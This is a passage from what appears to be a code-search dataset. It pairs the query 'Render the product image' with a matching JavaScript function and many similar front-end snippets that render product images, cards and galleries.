\"0.5561209\",\n \"0.5561171\",\n \"0.5553398\",\n \"0.5544924\",\n \"0.5542591\",\n \"0.5537021\",\n \"0.5512005\",\n \"0.5507795\",\n \"0.5500571\",\n \"0.55001706\",\n \"0.5499985\",\n \"0.54980934\",\n \"0.54947335\",\n \"0.54913\",\n \"0.5488004\",\n \"0.5484479\",\n \"0.5484116\",\n \"0.5482841\",\n \"0.54770094\",\n \"0.54770076\",\n \"0.5470186\",\n \"0.54696256\",\n \"0.5455271\",\n \"0.5452669\",\n \"0.54515994\",\n \"0.5450089\",\n \"0.54493284\",\n \"0.54436445\",\n \"0.5437331\",\n \"0.54362696\"\n]"},"document_score":{"kind":"string","value":"0.72276896"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":44,"cells":{"query":{"kind":"string","value":"Add room name to DOM"},"document":{"kind":"string","value":"function outputRoomName(room) {\n const roomName = document.getElementById('room-name');\n \n roomName.innerHTML = room;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function outputRoomName(room) {\n roomName.innerHTML = `
  • \n
    \n
    \n

    ${room}

    \n
    \n
    \n
  • `\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n \n roomName.innerText = room;\n}","function outputRoomName(room) {\r\n roomName.innerText = room;\r\n}","function outputRoomName(room) {\r\n roomName.innerText = room;\r\n}","function outputRoomName(room){\n roomName.innerHTML = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room) {\n roomName.innerText = room;\n}","function outputRoomName(room){\n roomName.innerText = room;\n}","function outputRoomName(room){\n roomName.innerHTML = room;\n }","function outputRoomName(room){\n roomName.innerText = room;\n}","function outputRoomName(room){\n roomName.innerText=room;\n}","function outputRoomname(room){\n roomName.innerText = room;\n}","function outputRoomname(room){\n roomName.innerText= room;\n}","function outputRoomName(room){\n\n roomName.innerText=room;\n\n}","function setRoom(name) {\n\t$('#joinRoom').remove();\n\t$('h1').text('Room name : ' + name);\n\t$('body').append('');\n\t$('body').addClass('active');\n}","function setChatroom(room) {\n $('#chatroom h1').append(room);\n}","function createRoom(name)\n\t{\n\t\tdocument.getElementsByClassName('dropdown-item selected')[0].className = 'dropdown-item'\n\n\t\tvar room = document.createElement('div')\n\t\troom.className = 'dropdown-item selected'\n\t\troom.innerText = name\n\t\tcreateDropdownClickMethod(room)\n\t\tget('create-room-name').value = ''\n\n\t\tdropdown.appendChild(room)\n\t\tdropdown.className = 'dropdown closed'\n\t}","function setRoom(name) {\r\n $('#createRoom').remove();\r\n $('h1').text(name);\r\n // $('#subTitle').text(name + \" || link: \"+ location.href);\r\n $('body').addClass('active');\r\n}","function addRoom(room){\n $outer.append(Mustache.render(roomTemplate, room));\n }","function populateRoomListView(user) {\n var name = document.getElementById(\"roomName\");\n var desc = document.getElementById(\"roomDesc\");\n var destroydate = document.getElementById(\"roomDest\");\n //var privacy = document.getElementById(\"privacy\");\n name.innerHTML = \"\"+room.Name+\"\";\n desc.innerHTML = room.Description;\n}","function setRoom(name) {\n $('form').remove();\n $('h1').text(name);\n $('#subTitle').text('Link to join: ' + location.href);\n $('body').addClass('active');\n }","function createRoomButton(roomInfo) {\n var header = roomInfo.name.charAt(0);\n\n var id = roomInfo.id;\n var room = `
  • \n \n \n
    \n
    \n
    \n \n ` + header.toUpperCase() + `\n \n
    \n
    \n
    \n
    ` + roomInfo.name + `
    \n

    Hey! there I'm available

    \n
    \n
    \n
    \n
  • `;\n\n return room;\n}","function createRoomElement(room){\n\tvar room_li = \n\t$(document.createElement(\"li\"))\n\t.attr(\"class\",\"\")\n\t.attr(\"room_id\", room.roomID)\n\t.append(\n\t\t\t$(document.createElement(\"a\"))\n\t\t\t.attr(\"data-toggle\", \"tab\")\n\t\t\t.text(room.name + \" (\" + room.userCount + \")\" )\n\t\t\t.click(function (event){\n\t\t\t\t//Pauses message fetching, joins the room\n\t\t\t\tjoinRoom($(event.target).parent().attr(\"room_id\"), true);\n\t\t\t})\n\t);\n\treturn room_li;\n}","room({id, title}) {\n return $('')\n .attr({\n title: id,\n href: '#' + id,\n 'data-room': id,\n })\n .text(title || id)\n .addClass((id == xmpp.room.current) && 'xmpp-room-current');\n }","function writeNameNE() {\n\t\tvar namesp = document.createElement(\"span\");\n\t\tnamesp.setAttribute(\"id\", this.id + \"name\");\n\t\tvar elem = document.getElementById(this.id).appendChild(namesp);\n\t\telem.style.position = \"absolute\";\n\t\tif (this.nameLocation == NAME_UP) {\n\t\t\telem.style.top = 0;\n\t\t\telem.style.paddingTop = \"1px\";\n\t\t} else if (this.nameLocation == NAME_DOWN) {\n\t\t\telem.style.top = this.height - 20;\n\t\t\telem.style.paddingTop = \"7px\";\n\t\t} else if (this.nameLocation == NAME_CENTER) {\n\t\t\telem.style.top = this.height / 2 - 10;\n\t\t\telem.style.paddingTop = \"5px\";\n\t\t}\n\t\telem.style.left = 0;\n\t\telem.style.width = this.width;\n\t\telem.style.height = 20;\n\t\telem.style.zIndex = 7;\n\t\telem.style.cursor = \"move\";\n\t\telem.style.color = this.textColor;\n\t\telem.style.textAlign = \"center\";\n\t\telem.style.fontFamily = \"Arial\";\n\t\telem.style.fontSize = \"10px\";\n\t\telem.innerText = this.name;\n\t\telem.parentObj = this;\n\t}","function generateNewRoom(name) {\n\t\n\t//send the request to the server\n\tvar posting = $.post(roomsURI + \"/add\", {\n\t\tname : name\n\t});\n\t\n\t//Send new room to server\n\tposting.done(function(data) {\n\t\tvar room = JSON.parse(JSON.stringify(data));\n\t\t//$(\"#chat-rooms-list\").children(\"li[room_id!=2]\").remove(); //remove the last room\n\t\t//$(\"#chat-rooms-list\").append(createRoomElement(room)); //add this in it's place\n\t\t$(\"#chat-rooms-dropdown-list\").append(createRoomElement(room));\n\t\troom_id_list.push(room.roomID);\n\t\tjoinRoom(room.roomID,true);\n\t});\n}","function addUNameToDom(name) {\r\n\tconst paraElement = document.createElement('p')\r\n\tparaElement.innerHTML = 'From user: ' + name\r\n\treturn paraElement\r\n}","function user_name(){\n\t\tvar name = document.createElement(\"div\");\n\t\tname.textContent = \"NAME\";\n\t\tname.setAttribute(\"class\", \"user_name\");\n\t\tdiv.appendChild(name);\n\t}","function createRoomEntry(room) {\n\t\tvar roomHtml = creationRoomWidgetHeader(room.name);\n\t\troomHtml += createImageWidget(room.images);\n\t\troomHtml += createRoomWidgetFooter(room.price);\n\t\t// create room HTML\n\n\n\t\treturn roomHtml;\n\t}","function addPersonToRoom (room_name, id, person_name) {\n \t// we store the person name in the socket session as people of the current room\n\t// e.g. { socket.id: nameOfThePerson }\n \tfor (var i=0; i' +\n ' ' +\n ' ' +\n ' ' +\n ' ' +\n ' ' +\n ' ');\n roomSelector.find(\".room-book\").hide();\n roomSelector.find(\".room-confirm\").show();\n}","function displayRoom (room) {\n let occupantMsg = ''\n if (room.character === '') {\n occupantMsg = ''\n } else {\n occupantMsg = room.character.describe() + '. '\n }\n\n const textContent = room.describe() +\n '

    ' + '

    ' + occupantMsg + '

    ' + '

    ' + room.getDetails() + '

    '\n\n document.getElementById('textarea').innerHTML = textContent\n document.getElementById('ui').focus()\n}","function displayRoomInfo(room) {\r\n document.body.style.background = room.background;\r\n document.body.style.backgroundSize = `cover`;\r\n document.getElementById(`errors`).style.display = `none`;\r\n document.getElementById(`items`).style.display = `none`;\r\n document.getElementById(`health`).style.display = `none`;\r\n document.getElementById(\r\n `title`\r\n ).innerHTML = `

    ${room.name.toUpperCase()}

    `;\r\n document.getElementById(`location`).innerHTML = room.location();\r\n document.getElementById(`description`).innerHTML = `${room.description}`;\r\n document.getElementById(`directions`).innerHTML = `${room.directions}`;\r\n document.getElementById(`buttonarea`).style.display = `none`;\r\n document.getElementById(`health-area`).style.display = `inline-block`;\r\n document.getElementById(`inventory-area`).style.display = `inline-block`;\r\n document.getElementById(`userinput`).style.display = `inline-block`;\r\n document.getElementById(`usertext`).focus();\r\n}","function appendName(identity, container) {\n const name = document.createElement(\"p\");\n name.id = `participantName-${identity}`;\n name.className = \"instructions\";\n name.textContent = identity;\n container.appendChild(name);\n}","function updateName1OnDOM() {\n db.ref('Names/player1').once('value', function (snapshot) {\n name = snapshot.val();\n if (name !== null) {\n var a = $('

    ').html(name).addClass('center-block');\n $('.player1-name').empty().append(a);\n }\n });\n }","function getNewContactHtml(jid, name) {\n var jid_id = XMPP_client.jid_to_id(jid);\n\n return $(\"
  • \"\n + \"
    \" +\n \"
    \" +\n name +\n \"
    \"\n + \" \"\n + \"
    \" +\n \"
  • \");\n}","function showRoomList(data) {\n\tvar $room = $(data).find(\"room\");\n\n\tvar roomlist = \"\";\n\n\t$room.each(function () {\n\t\troomlist += \"
    \";\n\t});\n\t\n\tif (roomlist == \"\") { roomlist = \"Ei aktiivisia huoneita.\"; }\n\t\n\t$(\"#roomlist\").html(roomlist);\n}","function updateName2OnDOM() {\n db.ref('Names/player2').once('value', function (snapshot) {\n name = snapshot.val();\n if (name !== null) {\n var a = $('

    ').html(name).addClass('center-block');\n $('.player2-name').empty().append(a);\n }\n });\n }","function assignName() {\n var locationNameHolder = scope.querySelectorAll(\"[data-vf-js-location-nearest-name]\");\n if (!locationNameHolder) {\n // exit: container not found\n return;\n }\n if (locationNameHolder.length == 0) {\n // exit: content not found\n return;\n }\n // console.log('assignName','pushing the active location to the dom')\n locationNameHolder[0].innerHTML = locationName;\n }","function buildRoomInfoHtmlBlock() {\n var roomHtml = \"
  • Adults\";\n roomHtml += \"
  • \";\n roomHtml += \"
  • Children\";\n roomHtml += \"
  • \";\n return roomHtml;\n }","function addRoomList(data) {\r\n let room = createElement('li', data);\r\n room.class('rooms');\r\n room.id(data);\r\n rooms.push(room);\r\n roomsName.push(data);\r\n room.parent(\"#activeRooms\");\r\n}","function joinUserRoom(name) {\r\n divHome.hide();\r\n divRoom.show();\r\n socket.emit(\"joinRoom\", name);\r\n currentRoom = name;\r\n}","function createNameNode(newName){\n var nameDiv = document.createElement(\"div\");\n nameDiv.setAttribute(\"class\", \"col-lg-2\");\n //console.log(\"nameDiv: \", nameDiv);\n var nameSpan = document.createElement(\"span\");\n nameSpan.setAttribute(\"class\", \"product-name\");\n nameSpan.innerHTML = newName;\n nameDiv.appendChild(nameSpan);\n \n return nameDiv\n }","function createName(name) {\n const nameElement = createElement({ tagName: 'span', className: 'name' });\n nameElement.innerText = name;\n \n return nameElement;\n }","EnterRoom(id, name, room, img){\n var roomName = {id, name, room, img}; //object disractury \n this.globalRoom.push(roomName);\n return roomName;\n }","function getRoom(){\n\tvar chatName = document.getElementById(\"chatName\");\n\tif(!chatName)\n\t\treturn null;\n\treturn chatName.innerText;\n}","function joinRoom(room)\r\n{\r\n //TODO erase... Name must be known previously\r\n var name = '';\r\n while(name == '')\r\n {\r\n name = prompt(\"Wie heißt du?\");\r\n }\r\n\r\n socket.emit('requestRoom', room, name);\r\n document.getElementById(\"chooseRoom\").classList.add('hidden');\r\n \r\n //TODO: maybe show loading icon...\r\n}","function makeName(role) {\n\tlet title = getTitle(role);\n\tif (role == \"default\") { role = \"Committee\"; }\n\tlet member = document.createElement(\"p\");\n\tmember.setAttribute(\"style\", \"font-weight: bold\");\n\tlet memberText = document.createTextNode(title);\n\tmember.setAttribute(\"class\", \"member\");\n\tmember.appendChild(memberText);\n\t\n\treturn member;\n}","function create_game_room_card(name, players_in_game, max_players) {\r\n\r\n const card = document.createElement(\"div\");\r\n card.setAttribute('class', 'room-card');\r\n\r\n const room_name = document.createElement(\"h2\");\r\n room_name.innerText = name;\r\n card.appendChild(room_name);\r\n\r\n const ctj_text = document.createElement(\"h5\");\r\n ctj_text.innerText = \"Click to join!\"\r\n card.appendChild(ctj_text);\r\n\r\n const player_in_room = document.createElement(\"p\");\r\n player_in_room.innerText = \"Players: \" + players_in_game + \"/\" + max_players;\r\n player_in_room.setAttribute(\"class\", \"numOfPlayers\");\r\n card.appendChild(player_in_room);\r\n\r\n\r\n card.classList.add(\"room-card\");\r\n\r\n room_card_container.appendChild(card);\r\n\r\n}","function characterName() {\n var characterName = document.getElementById('characterName');\n if (characterName) {\n characterName.innerHTML = userName + ' the ' + avatarClass;\n }\n}","function append(location, name, value) {\n\tdocument.querySelector('.' + location + ' .' + name).innerHTML += value;\n}","function Shopper(shopperName){\n document.getElementById(\"shopperName\").appendChild(document.createTextNode(shopperName))\n}","function add_room(creator, name){\n const room = {creator, name};\n // save room info to room list\n rooms.push(room);\n}","function renderName (name, level, icon) {\n\tconst result = \n\t`\n\t
    \n\t\t

    Player Icon ${name} Level: ${level}

    \n\t
    \n\t`;\n\t$('div.player-name').html(result);\n}","function appendNewDoor(tap) {\n \n appendNewElement(tap, doorstrings, DoorsConfiguration);\n \n \n \n \n \n // var newListItem = createElement(\"div\",{\"id\":\"name\"},tap.Name);\n \n \n /*\n
    \n \n
    \n \n
    \n */\n}","function addRoom() {\n\tvar roomName = $('#add-room-name').val();\n\tvar posting = $.post(roomsAddURI, {\n\t\tname : roomName\n\t});\n\tposting.done(function(data) {\n\t\t//Add room via rest api then join it\n\t\tvar room = JSON.parse(JSON.stringify(data));\n\t\tjoinRoom(room.roomId, true);\n\t});\n}","function enterRoom(name)\n{\n document.getElementById('classSearchResults').style.display = 'none';\n document.getElementById('classSearch').value = '';\n setClassSearchBoxValue(); //reset the search box to say \"Search Classes\"\n name = name.split(' - '); \n pfc.sendRequest('/join ' + name[0]); //name the room {DEP} {Class#} Sec. {Section#}\n}","function addRoom(room) {\n\n // Get a handle to the room list with the new room's information\n //var users = room.users || [];\n //var numUsers = users.length;\n var option = $('');\n\n // Add the new

    \n
    \n
    \n )\n }","render() {\n image(this.g, 0, 0, this.w, this.h);\n }","render() {\n const imgURL = this.props.item.img;\n return (\n
    \n
    \n \n \n {this.state.hasDescription ? (\n this.buildDescriptionSpan()}\n onMouseOut={() => this.removeDescriptionSpan()}\n >\n !\n \n ) : null}\n
    \n
    \n
    \n \n {this.buildTableHeaders()}\n \n \n \n \n \n \n
    \n
    \n );\n }","function render(id, title, imgUrl, height, width, prev, next) {\n var imgContainer = \"
    \";\n document.getElementById(\"container\").innerHTML += imgContainer;\n }","renderImage() {\n\n const imageContainer = document.getElementById(\"image-container\")\n const div = document.createElement('div')\n div.className = 'container-fluid'\n imageContainer.append(div)\n const img = document.createElement('img')\n img.setAttribute('id', 'img')\n img.className = 'img-fluid'\n img.src = `${this.url}`\n\n const p1 = document.createElement('p1')\n p1.setAttribute('id', 'p1')\n\n p1.innerText = `${this.caption}`\n div.append(img, p1)\n\n }","render(){\n return(\n
    \n \"\"\n
    \n )\n }","renderList() { \n \n return this.props.products.map(product => { \n \n return (\n
    \n
    \n
    {product.product_name}
    \n
    {product.description}
    \n
    {product.price}
    \n\n
    \n\n
    \n \n
    \n )\n\n }); \n \n }","render() {\n ctx.drawImage(Resources.get(this.image), this.x, this.y)\n }","function Render(image) {\n selectedImage = image;\n //setup canvas for paper API\n setupPaperCanvas();\n //setup and fill image\n setupPaperImage();\n //setup and fill texts\n setupPaperTexts();\n}","function Product(props){\n return(\n
    \n \n\t
    {props.name}

    {props.amount}
    \n
    \n );\n}","render() {\n return (\n
    \n \n \n \n
    \n );\n }","display() {\n if (this.isDrank === false) {\n //Display\n image(this.image, this.x, this.y, this.size, this.size);\n }\n }","render() {\n\t\treturn (\n\t\t\t
    \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t
    Name
    \n\t\t\t\t\t
    {this.props.name}
    \n\t\t\t\t\t
    Brand
    \n\t\t\t\t\t
    {this.props.brand}
    \n\t\t\t\t\t
    Category
    \n\t\t\t\t\t
    {this.props.category}
    \n\t\t\t\t\t
    Price
    \n\t\t\t\t\t
    {this.props.price}
    \n\t\t\t\t\t}>\n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\tProduct Link\n\t\t\t
    \n\t\t);\n\t}","render() {\n const { name, price, image_url, id } = this.props.data;\n return (\n \n \n \n {name}\n \n {`Price: ${price}`}\n {this.props.renderQuantity ?\n

    Quantity: {this.props.data.quantity}

    :\n null\n }\n
    \n \n \n
    \n
    \n );\n }","function displayProduct(item){\r\n if(item.id == 1\r\n || item.id == 2 \r\n || item.id == 3\r\n || item.id == 4\r\n || item.id == 5\r\n || item.id == 6){\r\n return `\r\n
    \r\n \r\n \r\n
    \r\n

    ${item.title}

    \r\n
    $${item.price}
    \r\n
    \r\n\r\n

    ${item.text}

    \r\n\r\n
    \r\n
    Rating: ${item.rating} out of 5
    \r\n Reviews (${item.reviews})\r\n
    \r\n
    \r\n `\r\n }\r\n}","render(){\nconst {container,titleConatiner,title,body,productContainer,productImage,productName,productPrice} = styles;\n\n\n//Product Images\n return(\n\n\nTop Products \n\n\n \n\n {this.props.topProducts.map(e => (\n this.gotoDetails(e)} key={e.id} >\n\n \n\n {e.name.toUpperCase()}\n\n {e.price}$\n \n ))}\n\n\n\n\n\n );\n}","render() {\n push();\n translate(this.pos.x + this.xOff, this.pos.y);\n rotate(this.angle);\n imageMode(CENTER);\n image(this.design, 0, 0, this.r, this.r);\n pop();\n }","show() {\n // applyTextTheme\n image(this.image, this.x, this.y, this.width, this.height)\n }","render() {\n return (\n
    \n \n
    \n )\n }","function imageDisplay() {\n var color = imageColor();\n var captionColor = color;\n captionColor = color.replace(/_/g, \" \").replace('solid', '');\n var captionProduct = name.replace('
    ', '&nbsp;');\n var caption = (captionColor+\" \"+captionProduct).replace(/(^|\\s)\\S/g, function(match) {\n return match.toUpperCase();\n });\n var img_source = \"../../images/products/\"+img+color+\".gif\";\n var lightbox_img = \"../../images/products/large/\"+img+color+\".gif\";\n var lightbox_img_back = \"../../images/products/back/large/\"+img+color+\".gif\";\n $('#product_img_front').attr('src', img_source);\n $('#product_img_front_large').attr('src', lightbox_img);\n $('#product_img_back_large').attr('src', lightbox_img_back);\n $('#product_img_front').parent().attr('href', lightbox_img).attr('data-lightbox', img+color).attr('title', caption);\n $('#product_img_back').attr('href', lightbox_img_back).attr('data-lightbox', img+color).attr('title', caption+' (Back)');\n}","renderGallery() {\n\t\tconst {data, container, currentPhoto} = this.props,\n\t\t\timageWrapper = this.createElement('div', 'gallery__general-image'),\n\t\t\timage = this.createElement('img', 'gallery__photo');\n\t\tcontainer.innerText = '';\n\n\t\timageWrapper.append(image);\n\t\tcontainer.append(imageWrapper, this.renderPhotoList());\n\t\tthis.changeGeneralPhoto(currentPhoto);\n\t}","renderImage( img, i ) {\n\t\tconst {\n\t\t\timageFilter,\n\t\t\timages,\n\t\t\tisSave,\n\t\t\tlinkTo,\n\t\t\tlayoutStyle,\n\t\t\tonRemoveImage,\n\t\t\tonSelectImage,\n\t\t\tselectedImage,\n\t\t\tsetImageAttributes,\n\t\t} = this.props;\n\n\t\t/* translators: %1$d is the order number of the image, %2$d is the total number of images. */\n\t\tconst ariaLabel = sprintf(\n\t\t\t__( 'image %1$d of %2$d in gallery', 'jetpack' ),\n\t\t\ti + 1,\n\t\t\timages.length\n\t\t);\n\t\tconst Image = isSave ? GalleryImageSave : GalleryImageEdit;\n\n\t\tconst { src, srcSet } = photonizedImgProps( img, { layoutStyle } );\n\n\t\treturn (\n\t\t\t\n\t\t);\n\t}","function updateProductImageHeight() {\n let productImageWidth = $('.product-image').width();\n $('.product-image').css({'height': productImageWidth + 'px'});\n }","render(){\n return (\n
    \n . \n
    \n \n \n
    \n
    \n );\n }","render() {\n return (\n
    \n
    \n

    Products

    \n\n \n
    \n
    \n );\n }","render() {\n return (\n\t\t\n\t\t{this.state.products.map((item, i) => \n\t\t\t\n\t\t\t\t{ item.title }\n\t\t\t\t\n\t\t\t\t $ { item.variants[0].price * 0.75 }\n\t\t\t\t\n \n \n
    \n
    \n { currentImage + 1 } of { images.length }\n
    \n
    {image.title}
    \n
    \n
    \n )\n }","function showProduct() {\n const title = el('products').value;\n const product = products[title];\n if (product) {\n el('title').innerHTML = title;\n el('price').innerHTML = 'Price: ' + currencyFormatter.format(product.price);\n el('image').src = product.image;\n }\n el('quantity-container').style.display = product ? 'block' : 'none';\n}","renderLayout() {\n\t let self = this;\t \n\t let photoListWrapper = document.querySelector('#photos');\t \n imagesLoaded(photoListWrapper, function() { \t \n\t\t\tself.msnry = new Masonry( photoListWrapper, {\n\t\t\t\titemSelector: '.photo'\n\t\t\t}); \n\t\t\t[...document.querySelectorAll('#photos .photo')].forEach(el => el.classList.add('in-view'));\n });\n }","render () {\n let {src, alt, ...props} = this.props;\n src = src?.src || src; // image passed through import will return an object\n return {alt}/\n }","render() {\n return (\n \n );\n }","function Home() {\n return (\n
    \n
    \n \n\n
    \n \n \n
    \n
    \n \n \n
    \n \n\n
    \n \n \n \n
    \n \n\n
    \n \n \n
    \n
    \n \n \n
    \n
    \n
    \n );\n}","render() {\n\n return (\n \n
    \n \n
    \n
    \n );\n }","render() {\n const { products, page, productInfo} = this.state; //desistruturando\n //aonde era this.state.products.map, fica agr apenas products.map, vale o mesmo para os demais\n\n //a key no h2 e passada, pq o react pede que tenha uma key unica pra cada item da iteracao\n return (\n
    \n
    \n

    Sua Lista de Produtos:

    {/*alt='' e por questao de acessibilidade, ele fornece o que e aquela imagem, para deficientes visuais ou navegacao apenas de texto*/}\n Imagem Novo Produto \n
    \n {//aqui codigo javascript, apos \"=> (\" volta a ser html\n products.map(product => (\n
    \n {product.title}\n

    {product.description}

    \n Acessar\n
    {/*alt='' e por questao de acessibilidade, ele fornece o que e aquela imagem, para deficientes visuais ou navegacao apenas de texto*/}\n Imagem Editar Produto\n \n
    \n
    \n ))}\n
    \n \n \n
    \n
    \n\n \n )\n }","render() {\n return (\n
    \n
    \n

    Remember All

    \n
    \n {/*
    */}\n {/* \"Goldfish\"; */}\n \n {/* */}\n
    \n //
    \n\n ) }","render() {\r\n return html`\r\n ${SharedStyles}\r\n \r\n\r\n
    \r\n
    \r\n \r\n
    \r\n \r\n
    \r\n
    ${this.item ? this.item.name : \"\"}
    \r\n
    ${this._computeIngredients(this.item)}
    \r\n
    ${this.item ? this.item.description : \"\"}
    \r\n\r\n
    \r\n
    ${this.item ? this.item.price : \"\"}
    \r\n this._onAddToCartClick(this.item, this.quantity)}\" raised>add to cart\r\n
    \r\n
    \r\n
    \r\n \r\n `;\r\n }","function displayProduct(product) {\n document.getElementById('product').innerHTML = renderHTMLProduct(product, 'single');\n}","render() {\n return(\n \n

    \n {this.props.title}\n

    \n
    \n \"\"\n
    \n

    \n \n
    \n );\n }","render() {\n console.log('rerendering product page');\n return (\n
    \n
    \n
    \n
    &#128296;
    \n
    \n
    \n
    \n
    \n
    \n );\n }","render(){\n\n /*\n * FIXME: get jpegs for product images\n */\n\n return (\n \n \n {this.state.categories.map(function(c, i){\n return (\n \n \n \n {c.name}\n \n \n )\n })}\n \n )\n }","function Product({\n product\n}) {\n var _product$photo, _product$photo$image;\n\n return /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\"div\", {\n className: (_styles_ItemStyles_module_scss__WEBPACK_IMPORTED_MODULE_5___default().root),\n children: [/*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\"img\", {\n // className={classesItemStyles.itemImg}\n src: product === null || product === void 0 ? void 0 : (_product$photo = product.photo) === null || _product$photo === void 0 ? void 0 : (_product$photo$image = _product$photo.image) === null || _product$photo$image === void 0 ? void 0 : _product$photo$image.publicUrlTransformed,\n alt: product.name\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 14,\n columnNumber: 7\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\"div\", {\n className: (_styles_Title_module_css__WEBPACK_IMPORTED_MODULE_6___default().title),\n children: /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)((next_link__WEBPACK_IMPORTED_MODULE_1___default()), {\n href: `/product/${product.id}`,\n children: product.name\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 20,\n columnNumber: 9\n }, this)\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 19,\n columnNumber: 7\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\"div\", {\n className: (_styles_PriceTag_module_css__WEBPACK_IMPORTED_MODULE_7___default().priceTag),\n children: (0,_lib_util_formatMoney__WEBPACK_IMPORTED_MODULE_2__.default)(product.price)\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 22,\n columnNumber: 7\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\"p\", {\n children: product.description\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 25,\n columnNumber: 7\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\"div\", {\n className: (_styles_ItemStyles_module_scss__WEBPACK_IMPORTED_MODULE_5___default().buttonList),\n children: [/*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)((next_link__WEBPACK_IMPORTED_MODULE_1___default()), {\n href: {\n pathname: \"update\",\n query: {\n id: product.id\n }\n },\n children: \"Edit\"\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 27,\n columnNumber: 9\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(_DeleteProduct__WEBPACK_IMPORTED_MODULE_3__.default, {\n id: product.id,\n children: \"Delete\"\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 30,\n columnNumber: 9\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(_AddToCart__WEBPACK_IMPORTED_MODULE_4__.default, {\n id: product.id\n }, void 0, false, {\n fileName: _jsxFileName,\n lineNumber: 31,\n columnNumber: 9\n }, this)]\n }, void 0, true, {\n fileName: _jsxFileName,\n lineNumber: 26,\n columnNumber: 7\n }, this)]\n }, void 0, true, {\n fileName: _jsxFileName,\n lineNumber: 13,\n columnNumber: 5\n }, this);\n}","_renderThumbnail($$) {\n let node = this.props.node\n // TODO: Make this work with tables as well\n let contentNode = node.find('graphic')\n let el = $$('div').addClass('se-thumbnail')\n if (contentNode) {\n el.append(\n $$(this.getComponent(contentNode.type), {\n node: contentNode,\n disabled: this.props.disabled\n })\n )\n } else {\n el.append('No thumb')\n }\n return el\n }","display() {\n this.move();\n imageMode(CENTER);\n image(this.axeImg, this.x + bgLeft, this.y, this.w, this.h);\n }","function renderProducts() {\n const promotionalProductsPart = document.querySelector(\".promotion-list\");\n let html = \"\";\n for (const product of productsList) {\n if (product.category === \"promotionalProducts\") {\n html += ``;\n }\n }\n promotionalProductsPart.innerHTML = html;\n}","function render() {\n var state = store.getState()\n document.getElementById('value').innerHTML = state.count.result;\n document.getElementById('value2').innerHTML = state.sum;\n\n if(state.count.loading){\n document.getElementById('status').innerHTML = \"is loading...\";\n }else{\n document.getElementById('status').innerHTML = \"loaded\";\n }\n // image\n document.getElementById('imagesStatus').innerHTML = state.images.loading;\n if(state.images.loading ==\"loading…\"){\n $('#imagesList').text(\"\");\n }\n else if(state.images.loading ==\"loaded\"){\n for(var i=0; i< state.images.data.length; i++){\n $('#imagesList').append(\n \"\");\n }\n }\n\n}","render() {\n // eslint-disable-next-line no-unused-vars\n let baseStyle = {};\n // eslint-disable-next-line no-unused-vars\n let layoutFlowStyle = {};\n \n const style_background = {\n width: '100%',\n height: '100%',\n };\n const style_background_outer = {\n backgroundColor: '#f6f6f6',\n pointerEvents: 'none',\n };\n const style_image = {\n backgroundImage: 'url('+img_elImage+')',\n backgroundRepeat: 'no-repeat',\n backgroundPosition: '50% 50%',\n backgroundSize: 'cover',\n pointerEvents: 'none',\n };\n const style_image2 = {\n backgroundImage: 'url('+img_elImage2+')',\n backgroundRepeat: 'no-repeat',\n backgroundPosition: '50% 50%',\n backgroundSize: 'cover',\n };\n const style_image2_outer = {\n pointerEvents: 'none',\n };\n \n return (\n
    \n
    \n
    \n
    \n \n
    \n \n
    \n
    \n
    \n
    \n
    \n \n
    \n \n
    \n
    \n )\n }","function printProducts(){\n for (var i = 0; i <= products.length; i++){ \n if (i < products.length-1){\n var clone = productDiv.cloneNode(true);\n productDiv.parentNode.insertBefore(clone, productDiv);\n };\n productDiv.style.display = \"block\";\n productName.innerHTML = products[i].name;\n productDescription.innerHTML = products[i].description;\n price.innerHTML = products[i].price;\n image.setAttribute(\"src\", products[i].url); \n \n }\n \n }","render() {\n\n return (\n
    \n \n
    \n );\n }","render() {\n console.log(\"Rendering ArtBlock...\");\n let paintings = this.state.paintings;\n const ArtBlocks = [];\n for (var i = 0; i < paintings.length; i++) {\n ArtBlocks.push(\n {Paintings[i].name}\n\n )\n }\n return (\n
    \n
    Score: {this.state.currentScore} | High Score: {this.state.highScore}
    \n
    \n {Modal}\n
    \n
    \n {ArtBlocks}\n
    \n
